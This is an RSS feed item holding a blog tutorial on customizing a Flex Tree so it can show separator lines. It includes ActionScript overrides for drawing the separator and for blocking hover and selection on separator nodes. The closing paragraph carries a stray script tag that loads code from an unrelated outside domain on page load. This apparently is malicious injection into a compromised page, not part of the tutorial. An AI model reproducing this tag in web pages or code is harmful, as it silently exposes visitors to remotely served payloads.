<p>To finish TreeItemRenderer customization I have to override the <code>updateDisplayList</code> method in order to <strong>draw a line</strong> in case the node is a separator. To do that I don&#8217;t reinvent the wheel and simply copy the algorithm from the <strong>HRule</strong> component. You can substitute you own drawing algorithm<strong> </strong>if you don&#8217;t like that. Here is the code of <code>updateDisplayList</code> method taken from  <em>MyTreeItemRenderer.as</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">protected</span> <span style="color: #339966; font-weight: bold;">function</span> updateDisplayList<span style="color: #000000;">&#40;</span>
    unscaledWidth<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>, unscaledHeight<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
  <span style="color: #009900;">// Get graphics</span>
  <span style="color: #6699cc; font-weight: bold;">var</span> g<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Graphics</span> = <span style="color: #004993;">graphics</span>;
  g.<span style="color: #004993;">clear</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
  <span style="color: #009900;">// Call super method</span>
  <span style="color: #0033ff; font-weight: bold;">super</span>.updateDisplayList<span style="color: #000000;">&#40;</span>unscaledWidth, unscaledHeight<span style="color: #000000;">&#41;</span>;
&nbsp;
  <span style="color: #009900;">// Draw the line if current node is separator</span>
  <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>isSeparator<span style="color: #000000;">&#41;</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #009900;">//</span>
    <span style="color: #009900;">// Code taken from the HRule drawing algorithm.</span>
    <span style="color: #009900;">//</span>
    ...</pre></td></tr></table></div>

<p>The TreeItemRenderer customization is almost done. At this point the separator is displayable in the tree but I still need to prevent mouse hovering and selection. To to that I implement a <strong>MyTree </strong>class which extends <strong>Tree</strong>. The first step consists of associating the MyTree ItemRenderer to the <code>itemRenderer</code> property of the MyTree class. I do that in class constructor of <em>MyTree.as</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>25
26
27
28
29
30
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> MyTree<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
  <span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
  itemRenderer = <span style="color: #0033ff; font-weight: bold;">new</span> ClassFactory<span style="color: #000000;">&#40;</span>MyTreeItemRenderer<span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>Then I have to override both <code>mouseOverHandler</code> and <code>mouseDownHandler </code>methods in order to avoid node to be highlighted and selected. Here is the code from <em>MyTree.as</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>41
42
43
44
45
46
47
48
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">protected</span> <span style="color: #339966; font-weight: bold;">function</span> mouseOverHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> 
<span style="color: #000000;">&#123;</span>
 <span style="color: #6699cc; font-weight: bold;">var</span> item<span style="color: #000000; font-weight: bold;">:</span>IListItemRenderer = mouseEventToItemRenderer<span style="color: #000000;">&#40;</span>event<span style="color: #000000;">&#41;</span>;
 <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>item <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #000000; font-weight: bold;">!</span>MyTreeItemRenderer<span style="color: #000000;">&#40;</span>item<span style="color: #000000;">&#41;</span>.isSeparator<span style="color: #000000;">&#41;</span> 
 <span style="color: #000000;">&#123;</span>
        <span style="color: #0033ff; font-weight: bold;">super</span>.mouseOverHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000;">&#41;</span>;
 <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>53
54
55
56
57
58
59
60
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">protected</span> <span style="color: #339966; font-weight: bold;">function</span> mouseDownHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">MouseEvent</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span> 
<span style="color: #000000;">&#123;</span>
 <span style="color: #6699cc; font-weight: bold;">var</span> item<span style="color: #000000; font-weight: bold;">:</span>IListItemRenderer = mouseEventToItemRenderer<span style="color: #000000;">&#40;</span>event<span style="color: #000000;">&#41;</span>;
 <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>item <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #000000; font-weight: bold;">!</span>MyTreeItemRenderer<span style="color: #000000;">&#40;</span>item<span style="color: #000000;">&#41;</span>.isSeparator<span style="color: #000000;">&#41;</span> 
 <span style="color: #000000;">&#123;</span>
        <span style="color: #0033ff; font-weight: bold;">super</span>.mouseDownHandler<span style="color: #000000;">&#40;</span>event<span style="color: #000000;">&#41;</span>;
 <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>That&#8217;s it! You can <strong>download the full source code</strong> <a href="http://www.myflexiblelife.com/flex/mytree/srcview/MyTree.zip">here</a> or by <strong>right clicking</strong> on the example you find on the top of the page. I hope this helps you. Enjoy Flex coding! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/05/08/how-to-add-a-line-separator-in-a-flex-tree-component/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
